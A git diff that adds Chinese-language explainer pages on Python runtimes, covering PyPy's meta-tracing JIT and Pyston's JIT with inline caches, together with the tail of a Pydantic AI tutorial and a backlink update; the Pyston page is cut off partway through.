+3. **`@support_agent.tool` 注册工具** — 被这个装饰器标记的函数，LLM 可以在回答过程中调用。`RunContext[SupportDependencies]` 让工具能访问依赖项（比如查数据库）。函数的 docstring 会自动变成 LLM 理解的工具描述。
+
+4. **`ctx.deps` 访问依赖** — 工具内部通过 `ctx.deps` 拿到 `SupportDependencies`，就像拿到了机器的控制面板。
+
+5. **LLM 自主决策调用工具** — 当用户问"我的余额是多少"时，LLM 会：先调用 `customer_balance` 工具拿到余额数据，再根据数据生成结构化回答。整个过程是 LLM 自主决定调用工具的时机和参数。
+
+## 工作流程全景
+
+```
+用户输入 → Agent 执行图（Graph）→ LLM 响应 → 结束
+                ↑                        ↓
+           工具调用 ←──────────── 格式校验（Pydantic）
+                ↓
+          返回工具结果 → 继续对话
+```
+
+Agent 内部维护一个状态机（Graph），每个回合可能经历这些节点：
+
+1. **用户提问** — 收到用户的自然语言输入
+2. **向 LLM 发请求** — 把指令 + 历史对话发给模型
+3. **LLM 思考** — 可能决定调用工具，也可能直接回答
+4. **执行工具** — 如果调用了工具，执行并返回结果
+5. **校验输出** — 如果要求结构化输出，用 Pydantic 校验格式
+6. **重复或结束** — 格式不对就让 LLM 重写；格式对了就返回
+
+## 其他重要特性
+
+- **流式输出（Streaming）** — 可以逐 token 获取结果，适合实时展示。用 `run_stream()` 方法。
+- **能力插件（Capabilities）** — 内置 `Thinking()`（让模型深度推理）、`WebSearch()`（联网搜索）等，传入 `capabilities=[Thinking(), WebSearch()]` 即可启用。
+- **使用量限制（Usage Limits）** — 可以设置最大 token 数、请求次数、工具调用次数，防止无限循环或超支。
+- **可观测性（Observability）** — 原生集成 Pydantic Logfire，能追踪每次调用的 token 消耗、延迟、成本。
+- **多模型支持** — 一个框架搞定所有主流 LLM，切换模型只需改一行字符串。
+
+## 总结
+
+Pydantic AI 的设计哲学可以概括为三点：
+
+1. **类型即契约** — 用 Python 类型注解和 Pydantic 模型约束 LLM 行为，把错误从运行时推到编写时。
+2. **Agent 可复用** — 一个 Agent 实例可以全局复用或按需创建，类似 FastAPI 的 App。
+3. **工具即扩展** — 普通 Python 函数就是工具，docstring 就是 LLM 的理解文档，零额外学习成本。
+
+对学习者的建议：先跑通 Hello World 示例，再逐个添加工具、结构化输出、流式输出，每一层都很自然。
diff --git a/src/content/docs/projects/pyenv.md b/src/content/docs/projects/pyenv.md
index c3e41765f..001acf627 100644
--- a/src/content/docs/projects/pyenv.md
+++ b/src/content/docs/projects/pyenv.md
@@ -167,5 +167,6 @@ pyenv shell 3.10.13 && python script.py
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
+- [[fvm]] —— FVM — 按项目锁定 Flutter SDK 版本
 - [[nvm]] —— nvm — 在同一台机器上轻松切换 Node 版本
 
diff --git a/src/content/docs/projects/pypy.md b/src/content/docs/projects/pypy.md
new file mode 100644
index 000000000..313a4717f
--- /dev/null
+++ b/src/content/docs/projects/pypy.md
@@ -0,0 +1,263 @@
+---
+title: PyPy — RPython 写的 Python JIT
+来源: https://github.com/pypy/pypy
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**PyPy** 是 [pypy/pypy](https://github.com/pypy/pypy) 维护的 **Python 语言替代实现**，核心卖点不是「又一个解释器」，而是自带 **Tracing JIT（跟踪式即时编译器）**，在 CPU 密集的纯 Python 循环上常常比官方 **CPython** 快 **数倍到数十倍**。整个项目的主体用 **RPython**（Restricted Python，受限 Python 子集）写成，再经 **翻译工具链（translation toolchain）** 自动降到 C，并在翻译阶段**生成** JIT，而不是手写一份与解释器平行的汇编后端。
+
+日常类比：如果把 **CPython** 想成一家**中央厨房**——每道菜（每条字节码）都按固定菜谱一步步手工炒（解释执行），那 **PyPy** 更像带**品控摄像头的连锁厨房**：
+
+- **解释器（interpreter）** 是标准流水线厨师，照常按字节码炒菜；
+- **Profiler** 像店长数客流：哪道「用户菜」（app-level 循环）被点了又点，就标成 **hot loop（热循环）**；
+- **Tracing** 像跟拍一整轮出菜过程：不是只拍一个 opcode，而是把「解释器连续执行多条用户字节码」的轨迹录下来；
+- **JIT 编译器** 像深夜加班的配方研发部：把录像剪成「用户语言层面的循环」，优化后烙成 **机器码**，下次同样路径直接上铁板烧；
+- **Guard（守卫）** 像每步前的尝味：假设「这个变量一直是 `int`」「这个列表长度不变」——一旦假设破了，立刻 **deoptimize（去优化）** 回解释器，保证语义仍与 CPython 一致。
+
+关键反直觉点：**PyPy 团队并没有手写「Python 专用 JIT」**。他们写的是 **用 RPython 实现的 Python 解释器**，翻译器读少量 **JIT hints（提示）**，在构建期**自动生成**与解释器语义绑定的 JIT。解释器改了，JIT 跟着重生，不会两套代码各改各的——这是 PyPy 相对早期 **Psyco**（单函数 JIT 扩展）和手写 TraceMonkey 类 JIT 的架构差异。
+
+## 为什么重要
+
+不懂 PyPy，下面这些话题很难讲透：
+
+- **「Python 很慢」到底慢在哪**——CPython 字节码解释 + 动态类型每次都要查；PyPy 把热路径编译成假设明确的机器码
+- **为什么科学计算仍推荐 CPython + NumPy**——热点在 C 扩展里，PyPy 的 JIT 帮不上忙；且 **C API 扩展（cpyext）** 在 PyPy 上有额外桥接成本
+- **Tracing JIT 和 HotSpot「按方法编译」有何不同**——PyPy 以**实际执行轨迹**为单元，天然内联一串 opcode，而不是先按函数边界切
+- **RPython 是什么**——不是给用户写业务代码的方言，而是**写虚拟机、再翻译成 C** 的实现语言；PyPy 自己是「用 Python 子集写 Python」的元循环
+- **JIT 如何不破坏 `pdb`、traceback、完整语义**——`jit_merge_point` 等退出点保证随时可 bail 回解释器
+
+## 核心概念
+
+### 1. Python 实现谱系中的位置
+
+| 实现 | 语言 | 执行模型 | 典型场景 |
+|------|------|----------|----------|
+| **CPython** | C | 字节码解释器 + 可选特化（3.11+） | 默认生态、C 扩展 |
+| **PyPy** | RPython → C + 生成 JIT | 解释 + tracing JIT | CPU 密集纯 Python、长时间跑的服务 |
+| **GraalPy** | Java / Truffle | Truffle JIT + Polyglot | JVM 内嵌 Python |
+| **MicroPython** | C | 裁剪解释器 | MCU |
+
+说「换 PyPy 就全面更快」是误区；说「 tight loop 的纯 Python 在 PyPy 上经常快一个数量级」则有大量基准支撑。
+
+### 2. RPython：写解释器的 Python 子集
+
+**RPython** 不是给应用开发者用的第二门 Python，而是 **PyPy 翻译器能静态分析、类型推断并降到 C 的受限子集**。特征包括：
+
+- 变量类型在 **控制流合并点** 上必须能推断一致；
+- 容器、函数一等公民，但避免过度动态（翻译期需能落地成 C 结构）；
+- 整个 **Python 解释器**（对象模型、字节码 dispatch、GC）用 RPython 描述，再 **translate** 成 C 程序。
+
+用户写的普通 Python 脚本 **不会** 被 RPython 翻译；它们仍由生成好的 VM 解释 / JIT。RPython 面向的是 **VM 实现者**。
+
+### 3. 翻译工具链（translation toolchain）
+
+高层流程：
+
+```
+RPython 源码（含解释器 + stdlib 移植）
+  ▼ 类型推断、限制检查
+  ▼ RPython → C（或 JVM/CLI 等后端，常用 C）
+  ▼ 可选：JIT 生成 pass（apply_jit / warmspot）
+  ▼ 链接 → pypy3 可执行文件
+```
+
+翻译一次耗时很长（小时级），产出是 **独立二进制**，部署时不需要宿主 CPython。PyPy 自带兼容层跑大部分纯 Python 与 **cffi / ctypes**；依赖 **C API** 的扩展需 **PyPy 专用 wheel** 或接受较慢的 cpyext。
+
+### 4. Meta-Tracing JIT：跟踪解释器，而非只跟踪用户字节码
+
+PyPy 的 JIT 属于 **meta-tracing**：记录的是 **RPython 写的解释器** 在执行用户程序时的操作序列，再通过 **promotion / 虚拟化** 把解释器栈上的操作 **提升** 成用户级循环的机器码。
+
+经典两提示（概念名，具体 API 在 `pypy/interpreter` 与 `interp_jit` 一带）：
+
+| Hint | 作用 | 在 CPython 字节码模型中的直觉位置 |
+|------|------|-----------------------------------|
+| **`jit_merge_point`** | JIT 可安全 **退回解释器** 的合并点 | 字节码分派循环入口 |
+| **`can_enter_jit`** | 标记 **用户级循环头**，可进入 JIT | 如 `JUMP_ABSOLUTE` 跳回循环顶 |
+
+**Green 变量**（循环常量）：在一次用户指令执行中不变，例如 `pc`、当前 `code object`、字节码数组——相同 green 组合再次出现 ⇒ 可能处于同一 **用户循环**。
+
+**Red 变量**（循环变量）：被用户程序改变的数据，如操作数栈上的值、局部变量。
+
+Tracing 启动后，解释器进入 **tracing mode**，记录操作；当 green 状态与 trace 起点匹配，闭合成环 ⇒ 优化 ⇒ 汇编 ⇒ 后续迭代跑机器码。机器码里布满 **guard**；失败则回解释路径，必要时 **side exit** 再 **bridge** 新 trace。
+
+### 5. 与 Method JIT（如 HotSpot C2）的对比
+
+| 维度 | Method JIT | PyPy Tracing JIT |
+|------|------------|------------------|
+| 编译单元 | 函数 / 方法 | 热 **trace**（实际跑过的路径） |
+| 内联 | 需显式启发式 | trace 自然串起多 opcode |
+| 去优化 | 罕见路径 deopt | guard 失败即回解释器 |
+| 维护 | JIT 与 VM 常分离 | **翻译期生成**，与解释器同步 |
+
+### 6. 性能与边界
+
+**通常更快：**
+
+- 纯 Python 数值循环、递归、字符串处理（无 C 扩展热点）
+- 长时间运行的 Web worker、批处理脚本、模拟器
+
+**未必更快甚至更慢：**
+
+- 重度 **NumPy / PyTorch / pandas C 扩展** 工作负载
+- 短进程 CLI（JIT **预热** 来不及）
+- 个别 CPython 微优化路径或依赖 CPython 内部行为的黑客代码
+
+官方与社区经验：常见 **4×–10×** 加速，极端 tight loop 更高；I/O 密集差异小。PyPy 也有 **GIL**（与 CPython 类似的多线程模型），多进程扩展仍适用。
+
+### 7. 生态与兼容性
+
+- **Python 版本**：跟踪 CPython 特性节奏（如 3.10+），具体以发行说明为准
+- **pip**：一般可用；**带 C 扩展的包** 需查是否提供 `pp*` 标签 wheel
+- **cffi** 在 PyPy 上往往比老式 **ctypes / cpyext** 更舒服
+- **调试**：完全兼容有成本；生产路径优先性能
+
+## 架构一图
+
+```
+用户 .py
+  ▼
+PyPy 字节码解释器（RPython 实现，已翻译为 C）
+  ├─ 冷路径：逐 opcode 解释
+  └─ 热路径：can_enter_jit → trace → optimize → 机器码
+         │                      │
+         │ guard 失败           │ jit_merge_point
+         └──────── deopt ───────┘ 回解释器
+```
+
+## 代码示例
+
+### 示例 1：感受 PyPy 对 tight loop 的加速
+
+保存为 `bench_loop.py`，分别用 `python3` 与 `pypy3` 运行（需先安装 [PyPy 发行版](https://pypy.org/download.html)）：
+
+```python
+"""纯 Python 累加 — 典型 PyPy 甜点负载。"""
+import sys
+import time
+
+def sum_squares(n: int) -> int:
+    total = 0
+    for i in range(n):
+        total += i * i
+    return total
+
+def main() -> None:
+    n = 5_000_000
+    # 预热：给 JIT 一次编译热循环的机会
+    sum_squares(1000)
+
+    t0 = time.perf_counter()
+    result = sum_squares(n)
+    elapsed = time.perf_counter() - t0
+
+    print(f"implementation: {sys.implementation.name}")
+    print(f"version: {sys.version.split()[0]}")
+    print(f"result mod 1e9: {result % 1_000_000_000}")
+    print(f"elapsed: {elapsed:.3f}s")
+
+if __name__ == "__main__":
+    main()
+```
+
+典型现象（因 CPU 而异）：**第二次起 PyPy 明显快于 CPython**；CPython 时间近似线性，PyPy 在预热后斜率更陡。短脚本只跑一次时，JIT 编译成本可能吃掉收益——对 **长驻进程** 更划算。
+
+命令行对比：
+
+```bash
+python3 bench_loop.py
+pypy3 bench_loop.py
+```
+
+### 示例 2：用 `dis` 看清「用户循环」在字节码层长什么样
+
+PyPy JIT 的 **can_enter_jit** 锚点对应用户循环头；理解字节码有助于理解「trace 录的是什么」：
+
+```python
+import dis
+
+def dot(a: list[float], b: list[float]) -> float:
+    s = 0.0
+    for i in range(len(a)):
+        s += a[i] * b[i]
+    return s
+
+print("=== dot 字节码（CPython / PyPy 同一套 compile 语义）===")
+dis.dis(dot)
+
+a = [float(x) for x in range(1000)]
+b = [float(x * 2) for x in range(1000)]
+assert dot(a, b) == sum(x * (x * 2) for x in range(1000))
+print("ok:", dot(a, b))
+```
+
+在 CPython 上你会看到 `JUMP_BACKWARD`（3.11+）或 `JUMP_ABSOLUTE` 跳回循环顶——这正是「用户级回边」。PyPy 解释器执行到这类回边且循环够热时，meta-tracer 会尝试 **展开字节码分派**，把多次 opcode 合成 **一条用户级 trace**，再生成机器码。纯 `list` 下标在 trace 里可能因 **类型稳定** 而去掉部分动态查找；若某次 `a[i]` 变成非 float 列表，**guard 失败** 回解释器。
+
+### 示例 3：何时不该指望 PyPy（NumPy 热点在 C 里）
+
+```python
+import sys
+import time
+
+def numpy_heavy():
+    import numpy as np
+    x = np.random.randn(2_000_000)
+    return float((x * x).sum())
+
+if __name__ == "__main__":
+    t0 = time.perf_counter()
+    r = numpy_heavy()
+    print(sys.implementation.name, "numpy sum:", r, "time:", time.perf_counter() - t0)
+```
+
+此例热点在 **NumPy 的 C/Fortran 内核**，不在 Python 字节码循环。PyPy 与 CPython 差距往往不大，有时因 **cpyext / 桥接** PyPy 更慢。选运行时要看 **profiler 热点在哪一层**。
+
+## 安装与使用
+
+```bash
+# macOS / Linux 常见：下载预编译 PyPy3
+# https://pypy.org/download.html
+
+pypy3 -m venv .venv-pypy
+source .venv-pypy/bin/activate
+pip install -U pip wheel
+pip install httpx pydantic   # 纯 Python / 有 pp wheel 的包
+
+pypy3 -c "import sys; print(sys.implementation)"
+```
+
+开发 **PyPy 本身**（翻译 VM）是另一条深坑：clone 仓库、安装依赖、`python translate.py targetpypystandalone` 等，见官方 [dev docs](https://doc.pypy.org/en/latest/)。零基础用户先会 **用 pypy3 跑服务** 即可。
+
+## 与周边项目的关系
+
+| 项目 | 关系 |
+|------|------|
+| **[[cpython]]** | 语义基准；PyPy 追求兼容，细节差异见发行说明 |
+| **Psyco** | 早期 CPython 扩展式 JIT；PyPy 团队经验演化为 meta-tracing |
+| **[[graalvm]]** / GraalPy | 另一套「写 Truffle 解释器 + JVM JIT」路线 |
+| **Cython / Numba** | 把热点降到 C/LLVM；与 PyPy「全自动 JIT 纯 Python」互补 |
+| **cffi** | PyPy 上推荐的 C 互操作方式之一 |
+
+## 常见误区
+
+1. **「PyPy 是 Python 语法超集」**——用户代码仍是标准 Python；RPython 只属于 VM 源码
+2. **「装 PyPy 就能让 NumPy 更快」**——除非瓶颈在纯 Python 包装层，否则未必
+3. **「JIT 等于没有解释器」**——冷代码、guard 失败、调试路径仍走解释器
+4. **「Tracing JIT 会编译死循环第一次迭代」**——有热度阈值；只跑一次的循环可能永远不 JIT
+5. **「与 CPython 100% 相同」**——极边缘反射、内部 API、`id` 时机等可能有差异；关键业务要测
+
+## 学习路径建议
+
+1. **会用**：下载 PyPy，对现有纯 Python 服务做 A/B 基准（含预热）
+2. **会判**：`cProfile` / `py-spy` 看热点在 Python 还是 C 扩展
+3. **会读**：RPython 文档 [JIT overview](https://rpython.readthedocs.io/en/latest/jit/overview.html)、AOSA PyPy 章节
+4. **会挖**：`pypy/interpreter/pyopcode.py`、`module/pypyjit` 中的 hint；对比 `Python/ceval.c`
+5. **会扩展**：若做新语言 VM，了解 meta-tracing 与 **RPython 翻译器** 是否适合你的语义
+
+## 小结
+
+PyPy 证明了一条独特路线：**用 RPython 写 Python 解释器，翻译成 C 时自动生成 tracing JIT**，让热循环从字节码解释跃迁到带 guard 的机器码，同时保持与 CPython 接近的语义。零基础记住三句话：**用户跑的是普通 Python；快的是长时间纯 Python 热点；C 扩展主导时请仍用 CPython 或把热点降到 native**。把 PyPy 当成「会看客流、能把常点套餐烙成铁板烧的连锁厨房」，再对照 **CPython 中央厨房** 与 **GraalVM 机场枢纽**，整个 Python 实现版图就清晰了。
diff --git a/src/content/docs/projects/pyston.md b/src/content/docs/projects/pyston.md
new file mode 100644
index 000000000..4efa73c0d
--- /dev/null
+++ b/src/content/docs/projects/pyston.md
@@ -0,0 +1,342 @@
+---
+title: Pyston — 给 CPython 装上「快车道」的 JIT 加速器
+来源: 'pyston/pyston'
+日期: '2026-06-13'
+子分类: 语言运行时
+分类: 编译器
+难度: '高级'
+provenance: 'pipeline-v3'
+---
+
+## 日常类比：高速公路上的 ETC 专用通道
+
+想象你每天开车走同一条通勤路线。第一次经过某个路口，你要看路牌、查导航、犹豫该左转还是直行——这就是 **CPython 解释器** 干的事：每行字节码都要「查字典、判类型、走通用慢路径」。
+
+开了一周后，你发现「这个路口 99% 情况都是直行」。于是你在挡风玻璃上贴了一张便利贴：**「到 XX 路口 → 直行，不用看牌」**。下次经过，眼睛一扫便利贴就过了，省下查导航的时间。这张便利贴，就是 **inline cache（内联缓存）**。
+
+再往后，通勤路线固定了，市政给你办了 **ETC**：整段路预先录好你的车型和惯常路线，闸机直接抬杆放行，不用每站停车缴费。这就是 **JIT（Just-In-Time）编译**：把反复执行的热代码，提前翻译成针对你「车型」（对象类型）的专用机器码。
+
+**Pyston** 就是给标准 CPython 装上这套 ETC + 便利贴系统的人。它不教你一门新语言，而是让你在**几乎不改代码**的前提下，让现有 Python 程序跑得更快。
+
+项目地址：[pyston/pyston](https://github.com/pyston/pyston)（Dropbox 2014 年启动，2020 年重启为 v2，2022 年推出 pip 可装的 `pyston-lite`）。
+
+---
+
+## 是什么
+
+Pyston 是一个面向 **CPython 的性能优化 JIT**，提供两种形态：
+
+| 形态 | 说明 | 典型加速 |
+| --- | --- | --- |
+| **Pyston-full** |  fork CPython 3.8.12 的完整发行版，可改解释器、运行时、构建流程 | 宏基准约 **+30%**，pyperformance 约 **+65%** |
+| **Pyston-lite** |  以扩展模块形式注入 JIT，`pip install` 即可 | 宏基准约 **+10%**，pyperformance 约 **+25–28%** |
+
+两者都强调 **drop-in 兼容**：你写的 `import pandas`、`def foo(x): ...` 不用改；差别在于 full 版需要换 Python 解释器，lite 版留在原 CPython 上装个包。
+
+---
+
+## 解决什么问题（CPython + JIT 加速）
+
+### 痛点 1：CPython 解释器「每步都要做选择题」
+
+Python 是动态类型语言。执行 `a + b` 时，解释器不能假设 `a`、`b` 是 `int` 还是 `float` 还是 `str`，必须走 `PyNumber_Add` 这一通用入口，内部再查类型、分派到具体实现。每一次属性访问 `obj.attr`、每一次方法调用 `obj.method()`，也都要查 `__dict__`、走描述符协议。
+
+这些「查字典 + 分支」在数值循环、ORM 热点、Web 请求处理里会被放大成千上万次。**CPython 的瓶颈往往不是算术本身，而是「决定该怎么算」的开销。**
+
+### 痛点 2：传统优化路线各有代价
+
+| 方案 | 优点 | 代价 |
+| --- | --- | --- |
+| **CPython** | 生态最全、调试最好、ABI 稳定 | 纯解释执行，热路径慢 |
+| **PyPy** | 追踪 JIT，部分场景极快 | 启动慢、C 扩展兼容性历史包袱、部署换运行时 |
+| **Cython / mypyc** | 静态类型后可接近 C 速度 | 要改代码、加类型注解、构建链变复杂 |
+| **重写服务为 Go/Rust** | 上限高 | 团队技能栈迁移、失去 Python 生态 |
+
+Pyston 的定位是：**不换语言、不大改代码，在 CPython 兼容前提下用 JIT 吃掉解释器开销。**
+
+### 痛点 3：企业里 Python 已经铺开了，换实现成本高
+
+Dropbox 当年用 Python 撑起大规模后端，机器账单随流量线性涨。完全迁移到 PyPy 或重写服务不现实，于是投入 **Pyston v1**（LLVM JIT + 自研运行时）。v2 团队 2019 年重新评估后选择 **fork CPython 3.8**，在成熟生态上叠 JIT，降低切换摩擦；2022 年再推出 **pyston-lite**，把「换解释器」这一步也省掉。
+
+---
+
+## 核心概念
+
+### 1. JIT 编译（Just-In-Time Compilation）
+
+**思想**：函数或代码块被执行足够多次后，不再逐条解释字节码，而是由 JIT **现场生成机器码**，CPU 直接跑原生指令。
+
+Pyston v2 使用 **DynASM**（动态汇编器）做极低开销的 baseline JIT，设计目标来自其源码注释中的明确取舍：
+
+- 去掉解释器 **dispatch 循环**（取指、跳转下一条）的开销
+- 减少 **引用计数** 与 **值栈 push/pop** 的内存流量
+- 编译速度极快：没有 LLVM IR 多层 pass，**边遍历字节码边吐机器码**
+- 支持在 **函数入口** 或 **任意字节码边界** 从解释器切到 JIT，并在每条字节码开头保留 **deoptimization（去优化）** 回退点
+
+v1 时代还有 LLVM 优化层（bjit → LLVM tier 两级），热代码执行约 2500 次后会升级到更重优化的机器码；v2 更强调 **快速出码 + 缓存命中**，而非长时间编译换极致峰值。
+
+**类比**：解释器是「每道菜现问顾客口味」；JIT 是「这位客人连点三次微辣，第四次直接上微辣，不再问」。
+
+### 2. 类型特化（Type Specialization）
+
+动态语言里，编译器通常**无法证明** `x` 永远是 `int`。Pyston 的做法是 **speculate（推测）+ guard（守卫）**：
+
+1. 根据历史执行，猜测 `x`、`y` 本次仍是 `float`
+2. 生成 **特化版本**：直接调用类似 `PyNumber_MultiplyFloatFloat` 的快速路径
+3. 在入口插入 **类型检查**；若猜测失败，跳回通用慢路径（deopt）
+
+这叫做 **type specialization**：不是把整个程序变成静态类型，而是在**热路径上为「常见类型组合」生成专用代码**。Pyston 还有 **AOT speculation（提前编译的类型轨迹）**：对某些字节码预先准备好 `float * float` 等轨迹，JIT 直接内联调用，减少运行时分派。
+
+**与 CPython 3.11+ 的关系**：CPython 3.11 引入 **specializing adaptive interpreter（自适应特化解释器）**，思路相近，但 Pyston 进一步把热代码 **编译成机器码**，而不只在解释器里换更快的字节码 handler。
+
+### 3. Inline Cache（内联缓存，IC）
+
+这是 Pyston 相对 CPython **最大的单项加速来源**（官方博客称 IC 贡献了大部分超过解释器的性能增益）。
+
+**机制**（简化版）：
+
+1. 在 JIT 生成的机器码里，为 `LOAD_ATTR`、`CALL_METHOD` 等操作预留一块 **固定大小的槽位（slot）**
+2. **第一次**执行：槽位里是 `nop` + 跳转到 **通用 C API 实现**；通用实现会 **trace（跟踪）** 本次调用的接收者类型、属性偏移、方法指针
+3. **第二次**若类型等假设仍成立：槽位被填成 **特化的小段机器码**（例如「已知 `obj` 是某 class，属性在固定 offset，直接 load」），不再查字典
+4. 假设失效则清空槽位，重新走通用路径
+
+**为什么快**：去掉了大量 **动态字典查找** 和 **不可预测分支**，CPU 分支预测器也更友好。IC 槽位大小固定，所以 Pyston 宁愿生成 **更短** 的特化代码，以便在同一段热代码里塞更多槽位。
+
+**类比**：第一次点外卖你要翻 App 找「那家店的宫保鸡丁」；App 记住你常点后，首页直接显示「一键再购」——IC 就是 CPU 指令流里的「一键再购」按钮。
+
+### 4. 其他配套技术（了解即可）
+
+- **Quickening**：把常用字节码替换成更快的变体（类似 CPython 3.11 quickening）
+- **Aggressive attribute caching**：全局变量、属性路径的积极缓存
+- **Deferred value stack**：JIT 不立即模拟 Python 值栈的 push/pop，而是推迟到真正使用时再分配寄存器，减少内存读写
+
+---
+
+## 两种产品形态怎么选
+
+```
+                    ┌─────────────────────────────────────┐
+                    │     你的 Python 应用 / 服务          │
+                    └─────────────────┬───────────────────┘
+                                      │
+              ┌───────────────────────┴───────────────────────┐
+              │                                               │
+     ┌────────▼────────┐                           ┌──────────▼──────────┐
+     │  Pyston-lite    │                           │    Pyston-full      │
+     │  pip 安装扩展    │                           │  替换 python 可执行文件 │
+     │  3.7–3.10       │                           │  基于 CPython 3.8.12  │
+     │  约 +10~28%     │                           │  约 +30~65%           │
+     │  ABI 完全兼容    │                           │  C 扩展需重新编译      │
+     └─────────────────┘                           └─────────────────────┘
+```
+
+- **先试 Pyston-lite**：生产环境不能换解释器、依赖大量预编译 wheel 时最合适
+- **再评估 Pyston-full**：能控制运行时、追求更高加速、愿意重编 C 扩展时
+
+---
+
+## 代码示例
+
+### 示例 1：安装与启用 Pyston-lite
+
+```bash
+# 方式 A：自动注入（推荐先试）
+pip install pyston-lite pyston-lite-autoload
+
+# 方式 B：手动启用
+pip install pyston-lite
+python -c "import pyston_lite; pyston_lite.enable(); import your_app"
+
+# 临时禁用自动注入
+DISABLE_PYSTON=1 python your_script.py
+```
+
+装好后**无需改业务代码**；JIT 在进程启动时挂载，热函数逐步被编译。
+
+### 示例 2：一段受益于类型特化 + IC 的数值循环
+
+下面这类代码是 Pyston 的「甜区」：`float` 运算密集、循环次数多、属性/方法分派相对少。
+
+```python
+# bench_float.py — 可用 time 或 pyperformance 对比 CPython vs Pyston
+def mandelbrot_size(n: int) -> int:
+    count = 0
+    for i in range(n):
+        for j in range(n):
+            c = complex(i / n - 0.5, j / n - 0.5)
+            z = 0j
+            for _ in range(80):
+                if abs(z) > 2.0:
+                    break
+                z = z * z + c
+            else:
+                count += 1
+    return count
+
+if __name__ == "__main__":
+    import time
+    t0 = time.perf_counter()
+    result = mandelbrot_size(128)
+    elapsed = time.perf_counter() - t0
+    print(f"count={result} time={elapsed:.3f}s")
+```
+
+在 Pyston 上，内层 `z * z + c` 的复数/浮点路径经 JIT 特化后，解释 dispatch 开销显著下降。实际倍率因 CPU（x86 vs ARM）、Python 小版本而异，应以本机 benchmark 为准。
+
+### 示例 3：属性访问热点（inline cache 场景）
+
+```python
+class Point:
+    __slots__ = ("x", "y")
+    def __init__(self, x, y):
+        self.x = x
+        self.y = y
+    def dist_sq(self):
+        return self.x * self.x + self.y * self.y
+
+def sum_distances(points: list, rounds: int) -> float:
+    total = 0.0
+    for _ in range(rounds):
+        for p in points:
+            total += p.dist_sq()  # LOAD_ATTR + CALL 反复命中 IC
+    return total
+
+points = [Point(i, i + 1) for i in range(1000)]
+print(sum_distances(points, 200))
+```
+
+`p.dist_sq()` 在循环中类型稳定时，IC 会把「查 `Point.dist_sq`」变成近乎固定的内存加载 + 跳转；CPython 解释器每次仍走完整属性查找协议。
+
+---
+
+## 性能对比（公开基准，仅供参考）
+
+以下数据来自 Pyston 官方博客与 GitHub README（约 2022 年，相对 **CPython 3.8** 基线，AWS c6i.xlarge 等环境）。**不可直接外推到你的业务**，但可看出量级与甜区。
+
+### pyperformance 几何平均（越高越好）
+
+| 实现 | x86 加速 | ARM 加速 |
+| --- | --- | --- |
+| Pyston-full 2.3.5 | **+65%** | **+54%** |
+| Pyston-lite 2.3.5 | **+28%** | **+25%** |
+| CPython 3.11 rc2 | +26% | +10% |
+
+### Web 服务宏基准（macrobenchmarks）
+
+| 实现 | x86 | ARM |
+| --- | --- | --- |
+| Pyston-full | **+35%** | **+25%** |
+| Pyston-lite | **+8%** | **+8%** |
+
+### 单基准亮点（说明类型特化的威力）
+
+Pyston 2.3.4 相对上一小版本：**richards** 基准约 **+65%**（浮点路径优化）；整体 pyperformance 再提升约 **6%**，累计约 **+66%** vs CPython 3.8。
+
+**读表时注意**：
+
+1. **几何平均**会掩盖极端值：有的基准接近 1x，有的能到 2x+
+2. **I/O 密集、大量 C 扩展** 的工作负载加速有限（时间花在 C 库里，JIT 帮不上忙）
+3. **CPython 3.11+** 自身已变快，Pyston-lite 相对 3.11 的优势会缩小
+4. 官方称 Pyston 在 **较新的 AMD 处理器** 上有时表现更好，可能与分支预测、IC 代码布局有关
+
+---
+
+## 架构一图流
+
+```text
+  源代码 .py
+      │
+      ▼
+  编译为 Code Object（字节码）  ← 与 CPython 相同
+      │
+      ▼
+  ┌───────────────────────────────────────────┐
+  │           执行计数 / 热度阈值                │
+  └───────────────┬───────────────────────────┘
+                  │
+        冷代码    │    热代码
+          │       │       │
+          ▼       │       ▼
+   CPython 解释   │   Pyston JIT (DynASM)
+   循环 dispatch  │       │
+          │       │       ├─ 类型特化 + guard
+          │       │       ├─ Inline Cache 槽位
+          │       │       └─ 去优化回退 → 解释器
+          │       │
+          └───────┴──► 结果一致、语义与 CPython 对齐
+```
+
+---
+
+## 与 PyPy、CPython 3.12+ 的对比
+
+| 维度 | Pyston | PyPy | CPython 3.11+ |
+| --- | --- | --- | --- |
+| 部署 | full 换解释器；lite 扩展模块 | 换 PyPy 可执行文件 | 官方默认 |
+| JIT 技术 | DynASM 机器码 + IC | 追踪 JIT（meta-tracing） | 3.12 实验性 copy-and-patch JIT |
+| C 扩展 | full 需重编译；lite 兼容 wheel | 历史兼容性问题较多 | 原生最好 |
+| 典型加速 | lite +10~28%；full 更高 | 部分 CPU 密集极高 | 基线，持续官方优化 |
+| 上游路线 | 部分优化已提交 CPython；JIT 拟 upstream | 独立生态 | PEP 523 / 3.12 JIT 演进 |
+
+2026 年 CPython 社区也在讨论更强 JIT API（如 hybrid JIT 提案）。Pyston 团队长期目标是：**让更多优化进入官方 CPython**，Pyston-lite 服务「卡在旧版本」的用户。
+
+---
+
+## 限制与注意事项
+
+1. **API 兼容 ≠ ABI 兼容（Pyston-full）**：C 扩展要能跑需针对 Pyston 重编；`pip install` 的 manylinux wheel 可能不直接可用
+2. **调试特性**：full 版为性能可能关闭部分调试能力；疑难 bug 可切回 CPython 对比
+3. **构建成本**：从源码编 Pyston-full 耗时长（历史原因含 LLVM 等步骤）；优先用官方预编译包
+4. **版本跟随**：full 基于 3.8；lite 支持 3.7–3.10，与团队 Python 版本策略要对齐
+5. **不要指望魔法**：纯 Python 数值循环能提速；调用 NumPy、requests 等 C 扩展主导的程序，整体提升可能只有几个百分点
+
+---
+
+## 何时值得尝试
+
+**适合评估 Pyston 的信号**：
+
+- 服务 CPU 剖析显示时间落在 **纯 Python 字节码** 或 **属性分派**
+- 已用 CPython 3.8–3.10，短期内不升级
+- 希望 **零代码改动** 验证加速，可先 `pip install pyston-lite-autoload` 做 A/B
+- Dropbox 类场景：Python 后端规模大，**降机器成本** 比「换语言」现实
+
+**不必强上的信号**：
+
+- 瓶颈在数据库、网络、GPU
+- 已计划全面升级 **CPython 3.12+** 并依赖官方 JIT 演进
+- 极度依赖特定 C 扩展 wheel 且无法重编（此时 lite 更合适）
+
+---
+
+## 学习路径建议
+
+1. **读官方 README**：[github.com/pyston/pyston](https://github.com/pyston/pyston) — 弄清 full vs lite
+2. **读博客「baseline jit and inline caches」** — 理解 IC 如何填槽、与 LLVM tier 的关系（v1 架构，概念仍有用）
